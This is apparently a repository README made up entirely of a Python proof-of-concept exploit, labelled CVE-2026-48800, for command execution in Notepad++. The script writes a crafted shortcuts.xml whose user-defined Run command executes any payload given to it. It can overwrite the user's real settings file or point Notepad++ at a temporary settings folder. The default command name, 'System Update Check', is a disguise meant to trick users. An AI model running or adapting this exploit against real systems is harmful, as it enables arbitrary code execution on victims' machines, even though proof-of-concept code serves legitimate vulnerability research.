README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2026-48800 - Notepad++ RCE via shortcuts.xml UserDefinedCommands
import argparse
import os
import shutil
import tempfile
import xml.etree.ElementTree as ET
APPDATA = os.environ.get("APPDATA", "")
NPP_SHORTCUTS = os.path.join(APPDATA, "Notepad++", "shortcuts.xml")
BACKUP_PATH = NPP_SHORTCUTS + ".bak"
def write_malicious(payload: str, name: str, target: str) -> None:
root = ET.Element("NotepadPlus")
cmds = ET.SubElement(root, "UserDefinedCommands")
el = ET.SubElement(cmds, "Command")
el.set("name", name)
el.set("Ctrl", "no")
el.set("Alt", "no")
el.set("Shift", "no")
el.set("Key", "0")
el.text = payload
tree = ET.ElementTree(root)
ET.indent(tree, space=" ")
with open(target, "w", encoding="utf-8") as f:
f.write('<?xml version="1.0" encoding="UTF-8" ?>\n')
tree.write(f, encoding="unicode", xml_declaration=False)
print(f"[+] Wrote malicious shortcuts.xml -> {target}")
def mode_direct(payload: str, name: str, restore: bool) -> None:
if restore:
if os.path.exists(BACKUP_PATH):
shutil.copy2(BACKUP_PATH, NPP_SHORTCUTS)
os.remove(BACKUP_PATH)
print(f"[+] Restored original shortcuts.xml from backup")
else:
print("[-] No backup found")
return
if os.path.exists(NPP_SHORTCUTS):
shutil.copy2(NPP_SHORTCUTS, BACKUP_PATH)
print(f"[*] Backed up original -> {BACKUP_PATH}")
write_malicious(payload, name, NPP_SHORTCUTS)
print(f'[*] Trigger: restart Notepad++, then Run menu -> "{name}"')
def mode_settingsdir(payload: str, name: str) -> None:
tmpdir = os.path.join(tempfile.gettempdir(), "npp_poc_48800")
os.makedirs(tmpdir, exist_ok=True)
target = os.path.join(tmpdir, "shortcuts.xml")
write_malicious(payload, name, target)
npp = r"C:\Program Files\Notepad++\notepad++.exe"
print(f'[*] Launch command:')
print(f' "{npp}" -settingsDir="{tmpdir}"')
print(f'[*] Trigger: Run menu -> "{name}"')
def main():
parser = argparse.ArgumentParser(description="CVE-2026-48800 PoC")
parser.add_argument("--mode", choices=["direct", "settingsdir"], default="direct")
parser.add_argument("--payload", default="calc.exe")
parser.add_argument("--name", default="System Update Check")
parser.add_argument("--restore", action="store_true")
args = parser.parse_args()
if args.mode == "direct":
mode_direct(args.payload, args.name, args.restore)
else:
mode_settingsdir(args.payload, args.name)
if __name__ == "__main__":
main()